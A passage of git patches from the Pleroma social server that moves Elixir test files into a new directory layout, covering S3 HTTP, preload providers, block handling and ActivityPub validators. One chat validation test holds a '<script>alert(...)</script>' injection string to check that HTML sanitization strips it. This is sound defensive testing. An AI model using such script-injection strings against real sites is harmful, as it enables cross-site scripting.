[{"x-amz-bucket-region", "us-east-1"}] - } - - %{method: :post, url: @url, body: "image-content-2"} -> - %Tesla.Env{status: 200, body: "image-content-2"} - end) - - :ok - end - - describe "request" do - test "get" do - assert HTTP.ExAws.request(:get, @url, "", [{"x-amz-bucket-region", "us-east-1"}]) == { - :ok, - %{ - body: "image-content", - headers: [{"x-amz-bucket-region", "us-east-1"}], - status_code: 200 - } - } - end - - test "post" do - assert HTTP.ExAws.request(:post, @url, "image-content-2", [ - {"x-amz-bucket-region", "us-east-1"} - ]) == { - :ok, - %{ - body: "image-content-2", - headers: [], - status_code: 200 - } - } - end - end -end diff --git a/test/pleroma/http/ex_aws_test.exs b/test/pleroma/http/ex_aws_test.exs new file mode 100644 index 000000000..d0b00ca26 --- /dev/null +++ b/test/pleroma/http/ex_aws_test.exs @@ -0,0 +1,54 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.ExAwsTest do + use ExUnit.Case + + import Tesla.Mock + alias Pleroma.HTTP + + @url "https://s3.amazonaws.com/test_bucket/test_image.jpg" + + setup do + mock(fn + %{method: :get, url: @url, headers: [{"x-amz-bucket-region", "us-east-1"}]} -> + %Tesla.Env{ + status: 200, + body: "image-content", + headers: [{"x-amz-bucket-region", "us-east-1"}] + } + + %{method: :post, url: @url, body: "image-content-2"} -> + %Tesla.Env{status: 200, body: "image-content-2"} + end) + + :ok + end + + describe "request" do + test "get" do + assert HTTP.ExAws.request(:get, @url, "", [{"x-amz-bucket-region", "us-east-1"}]) == { + :ok, + %{ + body: "image-content", + headers: [{"x-amz-bucket-region", "us-east-1"}], + status_code: 200 + } + } + end + + test "post" do + assert HTTP.ExAws.request(:post, @url, "image-content-2", [ + {"x-amz-bucket-region", "us-east-1"} + ]) == { + :ok, + %{ + body: "image-content-2", + headers: [], + status_code: 200 + } + } + end + end +end diff --git a/test/pleroma/web/preload/providers/instance_test.exs b/test/pleroma/web/preload/providers/instance_test.exs new file mode 100644 index 000000000..8493f2a94 --- /dev/null +++ b/test/pleroma/web/preload/providers/instance_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.InstanceTest do + use Pleroma.DataCase + alias Pleroma.Web.Preload.Providers.Instance + + setup do: {:ok, Instance.generate_terms(nil)} + + test "it renders the info", %{"/api/v1/instance" => info} do + assert %{ + description: description, + email: "admin@example.com", + registrations: true + } = info + + assert String.equivalent?(description, "Pleroma: An efficient and flexible fediverse server") + end + + test "it renders the panel", %{"/instance/panel.html" => panel} do + assert String.contains?( + panel, + "<p>Welcome to <a href=\"https://pleroma.social\" target=\"_blank\">Pleroma!</a></p>" + ) + end + + test "it works with overrides" do + clear_config([:instance, :static_dir], "test/fixtures/preload_static") + + %{"/instance/panel.html" => panel} = Instance.generate_terms(nil) + + assert String.contains?( + panel, + "HEY!" + ) + end + + test "it renders the node_info", %{"/nodeinfo/2.0.json" => nodeinfo} do + %{ + metadata: metadata, + version: "2.0" + } = nodeinfo + + assert metadata.private == false + assert metadata.suggestions == %{enabled: false} + end + + test "it renders the frontend configurations", %{ + "/api/pleroma/frontend_configurations" => fe_configs + } do + assert %{ + pleroma_fe: %{background: "/images/city.jpg", logo: "/static/logo.png"} + } = fe_configs + end +end diff --git a/test/pleroma/web/preload/providers/timeline_test.exs b/test/pleroma/web/preload/providers/timeline_test.exs new file mode 100644 index 000000000..3b1f2f1aa --- /dev/null +++ b/test/pleroma/web/preload/providers/timeline_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.TimelineTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Preload.Providers.Timelines + + @public_url "/api/v1/timelines/public" + + describe "unauthenticated timeliness when restricted" do + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + test "return nothing" do + tl_data = Timelines.generate_terms(%{}) + + refute Map.has_key?(tl_data, "/api/v1/timelines/public") + end + end + + describe "unauthenticated timeliness when unrestricted" do + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], false) + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], false) + + setup do: {:ok, user: insert(:user)} + + test "returns the timeline when not restricted" do + assert Timelines.generate_terms(%{}) + |> Map.has_key?(@public_url) + end + + test "returns public items", %{user: user} do + {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) + + assert Timelines.generate_terms(%{}) + |> Map.fetch!(@public_url) + |> Enum.count() == 3 + end + + test "does not return non-public items", %{user: user} do + {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!", visibility: "unlisted"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!", visibility: "direct"}) + {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) + + assert Timelines.generate_terms(%{}) + |> Map.fetch!(@public_url) + |> Enum.count() == 1 + end + end +end diff --git a/test/pleroma/web/preload/providers/user_test.exs b/test/pleroma/web/preload/providers/user_test.exs new file mode 100644 index 000000000..83f065e27 --- /dev/null +++ b/test/pleroma/web/preload/providers/user_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Preload.Providers.UserTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.Preload.Providers.User + + describe "returns empty when user doesn't exist" do + test "nil user specified" do + assert User.generate_terms(%{user: nil}) == %{} + end + + test "missing user specified" do + assert User.generate_terms(%{user: :not_a_user}) == %{} + end + end + + describe "specified user exists" do + setup do + user = insert(:user) + + terms = User.generate_terms(%{user: user}) + %{terms: terms, user: user} + end + + test "account is rendered", %{terms: terms, user: user} do + account = terms["/api/v1/accounts/#{user.id}"] + assert %{acct: user, username: user} = account + end + end +end diff --git a/test/web/preload/instance_test.exs b/test/web/preload/instance_test.exs deleted file mode 100644 index 8493f2a94..000000000 --- a/test/web/preload/instance_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.InstanceTest do - use Pleroma.DataCase - alias Pleroma.Web.Preload.Providers.Instance - - setup do: {:ok, Instance.generate_terms(nil)} - - test "it renders the info", %{"/api/v1/instance" => info} do - assert %{ - description: description, - email: "admin@example.com", - registrations: true - } = info - - assert String.equivalent?(description, "Pleroma: An efficient and flexible fediverse server") - end - - test "it renders the panel", %{"/instance/panel.html" => panel} do - assert String.contains?( - panel, - "<p>Welcome to <a href=\"https://pleroma.social\" target=\"_blank\">Pleroma!</a></p>" - ) - end - - test "it works with overrides" do - clear_config([:instance, :static_dir], "test/fixtures/preload_static") - - %{"/instance/panel.html" => panel} = Instance.generate_terms(nil) - - assert String.contains?( - panel, - "HEY!" - ) - end - - test "it renders the node_info", %{"/nodeinfo/2.0.json" => nodeinfo} do - %{ - metadata: metadata, - version: "2.0" - } = nodeinfo - - assert metadata.private == false - assert metadata.suggestions == %{enabled: false} - end - - test "it renders the frontend configurations", %{ - "/api/pleroma/frontend_configurations" => fe_configs - } do - assert %{ - pleroma_fe: %{background: "/images/city.jpg", logo: "/static/logo.png"} - } = fe_configs - end -end diff --git a/test/web/preload/timeline_test.exs b/test/web/preload/timeline_test.exs deleted file mode 100644 index 3b1f2f1aa..000000000 --- a/test/web/preload/timeline_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.TimelineTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.Preload.Providers.Timelines - - @public_url "/api/v1/timelines/public" - - describe "unauthenticated timeliness when restricted" do - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) - - test "return nothing" do - tl_data = Timelines.generate_terms(%{}) - - refute Map.has_key?(tl_data, "/api/v1/timelines/public") - end - end - - describe "unauthenticated timeliness when unrestricted" do - setup do: clear_config([:restrict_unauthenticated, :timelines, :local], false) - setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], false) - - setup do: {:ok, user: insert(:user)} - - test "returns the timeline when not restricted" do - assert Timelines.generate_terms(%{}) - |> Map.has_key?(@public_url) - end - - test "returns public items", %{user: user} do - {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) - - assert Timelines.generate_terms(%{}) - |> Map.fetch!(@public_url) - |> Enum.count() == 3 - end - - test "does not return non-public items", %{user: user} do - {:ok, _} = CommonAPI.post(user, %{status: "it's post 1!", visibility: "unlisted"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 2!", visibility: "direct"}) - {:ok, _} = CommonAPI.post(user, %{status: "it's post 3!"}) - - assert Timelines.generate_terms(%{}) - |> Map.fetch!(@public_url) - |> Enum.count() == 1 - end - end -end diff --git a/test/web/preload/user_test.exs b/test/web/preload/user_test.exs deleted file mode 100644 index 83f065e27..000000000 --- a/test/web/preload/user_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Preload.Providers.UserTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.Preload.Providers.User - - describe "returns empty when user doesn't exist" do - test "nil user specified" do - assert User.generate_terms(%{user: nil}) == %{} - end - - test "missing user specified" do - assert User.generate_terms(%{user: :not_a_user}) == %{} - end - end - - describe "specified user exists" do - setup do - user = insert(:user) - - terms = User.generate_terms(%{user: user}) - %{terms: terms, user: user} - end - - test "account is rendered", %{terms: terms, user: user} do - account = terms["/api/v1/accounts/#{user.id}"] - assert %{acct: user, username: user} = account - end - end -end -- cgit v1.2.3 From 0f8ab46a0ea4df745acd6cd915e67d7855db1a04 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 8 Jul 2020 15:41:53 +0300 Subject: fix after rebase --- lib/pleroma/web/preload/providers/instance.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/preload/providers/instance.ex b/lib/pleroma/web/preload/providers/instance.ex index cc6f8cf99..a549bb1eb 100644 --- a/lib/pleroma/web/preload/providers/instance.ex +++ b/lib/pleroma/web/preload/providers/instance.ex @@ -3,9 +3,9 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.Preload.Providers.Instance do - alias Pleroma.Plugs.InstanceStatic alias Pleroma.Web.MastodonAPI.InstanceView alias Pleroma.Web.Nodeinfo.Nodeinfo + alias Pleroma.Web.Plugs.InstanceStatic alias Pleroma.Web.Preload.Providers.Provider alias Pleroma.Web.TwitterAPI.UtilView -- cgit v1.2.3 From c5efded5fd5d3e75990f694088ad15de76e8d83f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 8 Jul 2020 15:43:14 +0300 Subject: files consistency for new files --- .../transmogrifier/block_handling_test.exs | 63 ++++++++++++++++++++++ .../transmogrifier/block_handling_test.exs | 63 ---------------------- 2 files changed, 63 insertions(+), 63 deletions(-) create mode 100644 test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/block_handling_test.exs diff --git a/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs new file mode 100644 index 000000000..71f1a0ed5 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/block_handling_test.exs @@ -0,0 +1,63 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.BlockHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + test "it works for incoming blocks" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-block-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + blocker = insert(:user, ap_id: data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Block" + assert data["object"] == user.ap_id + assert data["actor"] == "http://mastodon.example.org/users/admin" + + assert User.blocks?(blocker, user) + end + + test "incoming blocks successfully tear down any follow relationship" do + blocker = insert(:user) + blocked = insert(:user) + + data = + File.read!("test/fixtures/mastodon-block-activity.json") + |> Poison.decode!() + |> Map.put("object", blocked.ap_id) + |> Map.put("actor", blocker.ap_id) + + {:ok, blocker} = User.follow(blocker, blocked) + {:ok, blocked} = User.follow(blocked, blocker) + + assert User.following?(blocker, blocked) + assert User.following?(blocked, blocker) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Block" + assert data["object"] == blocked.ap_id + assert data["actor"] == blocker.ap_id + + blocker = User.get_cached_by_ap_id(data["actor"]) + blocked = User.get_cached_by_ap_id(data["object"]) + + assert User.blocks?(blocker, blocked) + + refute User.following?(blocker, blocked) + refute User.following?(blocked, blocker) + end +end diff --git a/test/web/activity_pub/transmogrifier/block_handling_test.exs b/test/web/activity_pub/transmogrifier/block_handling_test.exs deleted file mode 100644 index 71f1a0ed5..000000000 --- a/test/web/activity_pub/transmogrifier/block_handling_test.exs +++ /dev/null @@ -1,63 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.BlockHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Pleroma.Factory - - test "it works for incoming blocks" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-block-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - - blocker = insert(:user, ap_id: data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Block" - assert data["object"] == user.ap_id - assert data["actor"] == "http://mastodon.example.org/users/admin" - - assert User.blocks?(blocker, user) - end - - test "incoming blocks successfully tear down any follow relationship" do - blocker = insert(:user) - blocked = insert(:user) - - data = - File.read!("test/fixtures/mastodon-block-activity.json") - |> Poison.decode!() - |> Map.put("object", blocked.ap_id) - |> Map.put("actor", blocker.ap_id) - - {:ok, blocker} = User.follow(blocker, blocked) - {:ok, blocked} = User.follow(blocked, blocker) - - assert User.following?(blocker, blocked) - assert User.following?(blocked, blocker) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["type"] == "Block" - assert data["object"] == blocked.ap_id - assert data["actor"] == blocker.ap_id - - blocker = User.get_cached_by_ap_id(data["actor"]) - blocked = User.get_cached_by_ap_id(data["object"]) - - assert User.blocks?(blocker, blocked) - - refute User.following?(blocker, blocked) - refute User.following?(blocked, blocker) - end -end -- cgit v1.2.3 From b720ad2264cde6e24e63f6cf7f4662731448823b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Fri, 10 Jul 2020 13:02:24 +0300 Subject: files consistency after rebase --- .../object_validators/announce_validation_test.exs | 106 +++++++++++ .../attachment_validator_test.exs | 74 +++++++ .../object_validators/block_validation_test.exs | 39 ++++ .../object_validators/chat_validation_test.exs | 212 +++++++++++++++++++++ .../object_validators/delete_validation_test.exs | 106 +++++++++++ .../emoji_react_handling_test.exs | 53 ++++++ .../object_validators/follow_validation_test.exs | 26 +++ .../object_validators/like_validation_test.exs | 113 +++++++++++ .../object_validators/undo_handling_test.exs | 53 ++++++ .../object_validators/update_handling_test.exs | 44 +++++ .../object_validators/announce_validation_test.exs | 106 ----------- .../attachment_validator_test.exs | 74 ------- .../object_validators/block_validation_test.exs | 39 ---- .../object_validators/chat_validation_test.exs | 212 --------------------- .../object_validators/delete_validation_test.exs | 106 ----------- .../emoji_react_validation_test.exs | 53 ------ .../object_validators/follow_validation_test.exs | 26 --- .../object_validators/like_validation_test.exs | 113 ----------- .../object_validators/undo_validation_test.exs | 53 ------ .../object_validators/update_validation_test.exs | 44 ----- 20 files changed, 826 insertions(+), 826 deletions(-) create mode 100644 test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/block_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/delete_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/emoji_react_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/follow_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/like_validation_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/undo_handling_test.exs create mode 100644 test/pleroma/web/activity_pub/object_validators/update_handling_test.exs delete mode 100644 test/web/activity_pub/object_validators/announce_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/attachment_validator_test.exs delete mode 100644 test/web/activity_pub/object_validators/block_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/chat_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/delete_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/emoji_react_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/follow_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/like_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/undo_validation_test.exs delete mode 100644 test/web/activity_pub/object_validators/update_validation_test.exs diff --git a/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs new file mode 100644 index 000000000..4771c4698 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/announce_validation_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.AnnounceValidationTest do + use Pleroma.DataCase + + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "announces" do + setup do + user = insert(:user) + announcer = insert(:user) + {:ok, post_activity} = CommonAPI.post(user, %{status: "uguu"}) + + object = Object.normalize(post_activity, false) + {:ok, valid_announce, []} = Builder.announce(announcer, object) + + %{ + valid_announce: valid_announce, + user: user, + post_activity: post_activity, + announcer: announcer + } + end + + test "returns ok for a valid announce", %{valid_announce: valid_announce} do + assert {:ok, _object, _meta} = ObjectValidator.validate(valid_announce, []) + end + + test "returns an error if the object can't be found", %{valid_announce: valid_announce} do + without_object = + valid_announce + |> Map.delete("object") + + {:error, cng} = ObjectValidator.validate(without_object, []) + + assert {:object, {"can't be blank", [validation: :required]}} in cng.errors + + nonexisting_object = + valid_announce + |> Map.put("object", "https://gensokyo.2hu/objects/99999999") + + {:error, cng} = ObjectValidator.validate(nonexisting_object, []) + + assert {:object, {"can't find object", []}} in cng.errors + end + + test "returns an error if we don't have the actor", %{valid_announce: valid_announce} do + nonexisting_actor = + valid_announce + |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") + + {:error, cng} = ObjectValidator.validate(nonexisting_actor, []) + + assert {:actor, {"can't find user", []}} in cng.errors + end + + test "returns an error if the actor already announced the object", %{ + valid_announce: valid_announce, + announcer: announcer, + post_activity: post_activity + } do + _announce = CommonAPI.repeat(post_activity.id, announcer) + + {:error, cng} = ObjectValidator.validate(valid_announce, []) + + assert {:actor, {"already announced this object", []}} in cng.errors + assert {:object, {"already announced by this actor", []}} in cng.errors + end + + test "returns an error if the actor can't announce the object", %{ + announcer: announcer, + user: user + } do + {:ok, post_activity} = + CommonAPI.post(user, %{status: "a secret post", visibility: "private"}) + + object = Object.normalize(post_activity, false) + + # Another user can't announce it + {:ok, announce, []} = Builder.announce(announcer, object, public: false) + + {:error, cng} = ObjectValidator.validate(announce, []) + + assert {:actor, {"can not announce this object", []}} in cng.errors + + # The actor of the object can announce it + {:ok, announce, []} = Builder.announce(user, object, public: false) + + assert {:ok, _, _} = ObjectValidator.validate(announce, []) + + # The actor of the object can not announce it publicly + {:ok, announce, []} = Builder.announce(user, object, public: true) + + {:error, cng} = ObjectValidator.validate(announce, []) + + assert {:actor, {"can not announce this object publicly", []}} in cng.errors + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs new file mode 100644 index 000000000..558bb3131 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/attachment_validator_test.exs @@ -0,0 +1,74 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidatorTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator + + import Pleroma.Factory + + describe "attachments" do + test "works with honkerific attachments" do + attachment = %{ + "mediaType" => "", + "name" => "", + "summary" => "298p3RG7j27tfsZ9RQ.jpg", + "type" => "Document", + "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" + } + + assert {:ok, attachment} = + AttachmentValidator.cast_and_validate(attachment) + |> Ecto.Changeset.apply_action(:insert) + + assert attachment.mediaType == "application/octet-stream" + end + + test "it turns mastodon attachments into our attachments" do + attachment = %{ + "url" => + "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", + "type" => "Document", + "name" => nil, + "mediaType" => "image/jpeg" + } + + {:ok, attachment} = + AttachmentValidator.cast_and_validate(attachment) + |> Ecto.Changeset.apply_action(:insert) + + assert [ + %{ + href: + "http://mastodon.example.org/system/media_attachments/files/000/000/002/original/334ce029e7bfb920.jpg", + type: "Link", + mediaType: "image/jpeg" + } + ] = attachment.url + + assert attachment.mediaType == "image/jpeg" + end + + test "it handles our own uploads" do + user = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + {:ok, attachment} = + attachment.data + |> AttachmentValidator.cast_and_validate() + |> Ecto.Changeset.apply_action(:insert) + + assert attachment.mediaType == "image/jpeg" + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs new file mode 100644 index 000000000..c08d4b2e8 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/block_validation_test.exs @@ -0,0 +1,39 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.BlockValidationTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + + import Pleroma.Factory + + describe "blocks" do + setup do + user = insert(:user, local: false) + blocked = insert(:user) + + {:ok, valid_block, []} = Builder.block(user, blocked) + + %{user: user, valid_block: valid_block} + end + + test "validates a basic object", %{ + valid_block: valid_block + } do + assert {:ok, _block, []} = ObjectValidator.validate(valid_block, []) + end + + test "returns an error if we don't know the blocked user", %{ + valid_block: valid_block + } do + block = + valid_block + |> Map.put("object", "https://gensokyo.2hu/users/raymoo") + + assert {:error, _cng} = ObjectValidator.validate(block, []) + end + end +end diff --git a/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs new file mode 100644 index 000000000..16e4808e5 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/chat_validation_test.exs @@ -0,0 +1,212 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.ChatValidationTest do + use Pleroma.DataCase + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.ObjectValidator + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "chat message create activities" do + test "it is invalid if the object already exists" do + user = insert(:user) + recipient = insert(:user) + {:ok, activity} = CommonAPI.post_chat_message(user, recipient, "hey") + object = Object.normalize(activity, false) + + {:ok, create_data, _} = Builder.create(user, object.data, [recipient.ap_id]) + + {:error, cng} = ObjectValidator.validate(create_data, []) + + assert {:object, {"The object to create already exists", []}} in cng.errors + end + + test "it is invalid if the object data has a different `to` or `actor` field" do + user = insert(:user) + recipient = insert(:user) + {:ok, object_data, _} = Builder.chat_message(recipient, user.ap_id, "Hey") + + {:ok, create_data, _} = Builder.create(user, object_data, [recipient.ap_id]) + + {:error, cng} = ObjectValidator.validate(create_data, []) + + assert {:to, {"Recipients don't match with object recipients", []}} in cng.errors + assert {:actor, {"Actor doesn't match with object actor", []}} in cng.errors + end + end + + describe "chat messages" do + setup do + clear_config([:instance, :remote_limit]) + user = insert(:user) + recipient = insert(:user, local: false) + + {:ok, valid_chat_message, _} = Builder.chat_message(user, recipient.ap_id, "hey :firefox:") + + %{user: user, recipient: recipient, valid_chat_message: valid_chat_message} + end + + test "let's through some basic html", %{user: user, recipient: recipient} do + {:ok, valid_chat_message, _} = + Builder.chat_message( + user, + recipient.ap_id, + "hey <a href='https://example.org'>example</a> <script>alert('uguu')</script>" + ) + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["content"] == + "hey <a href=\"https://example.org\">example</a> alert('uguu')" + end + + test "validates for a basic object we build", %{valid_chat_message: valid_chat_message} do + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert Map.put(valid_chat_message, "attachment", nil) == object + assert match?(%{"firefox" => _}, object["emoji"]) + end + + test "validates for a basic object with an attachment", %{ + valid_chat_message: valid_chat_message, + user: user + } do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + valid_chat_message = + valid_chat_message + |> Map.put("attachment", attachment.data) + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["attachment"] + end + + test "validates for a basic object with an attachment in an array", %{ + valid_chat_message: valid_chat_message, + user: user + } do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + valid_chat_message = + valid_chat_message + |> Map.put("attachment", [attachment.data]) + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["attachment"] + end + + test "validates for a basic object with an attachment but without content", %{ + valid_chat_message: valid_chat_message, + user: user + } do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, attachment} = ActivityPub.upload(file, actor: user.ap_id) + + valid_chat_message = + valid_chat_message + |> Map.put("attachment", attachment.data) + |> Map.delete("content") + + assert {:ok, object, _meta} = ObjectValidator.validate(valid_chat_message, []) + + assert object["attachment"] + end + + test "does not validate if the message has no content", %{ + valid_chat_message: valid_chat_message + } do + contentless = + valid_chat_message + |> Map.delete("content") + + refute match?({:ok, _object, _meta}, ObjectValidator.validate(contentless, [])) + end + + test "does not validate if the message is longer than the remote_limit", %{ + valid_chat_message: valid_chat_message + } do + Pleroma.Config.put([:instance, :remote_limit], 2) + refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) + end + + test "does not validate if the recipient is blocking the actor", %{ + valid_chat_message: valid_chat_message, + user: user, + recipient: recipient + } do + Pleroma.User.block(recipient, user) + refute match?({:ok, _object, _meta}, ObjectValidator.validate(valid_chat_message, [])) + end + + test "does not validate if the recipient is not accepting chat messages", %{ + valid_chat_message: valid_chat_message, + recipient: recipient + } do + recipient + |> Ecto.Changeset.change(%{accepts_chat_messages: false}) + |> Pleroma.Repo.update!() + + refute match?({:ok, _object, _meta}, 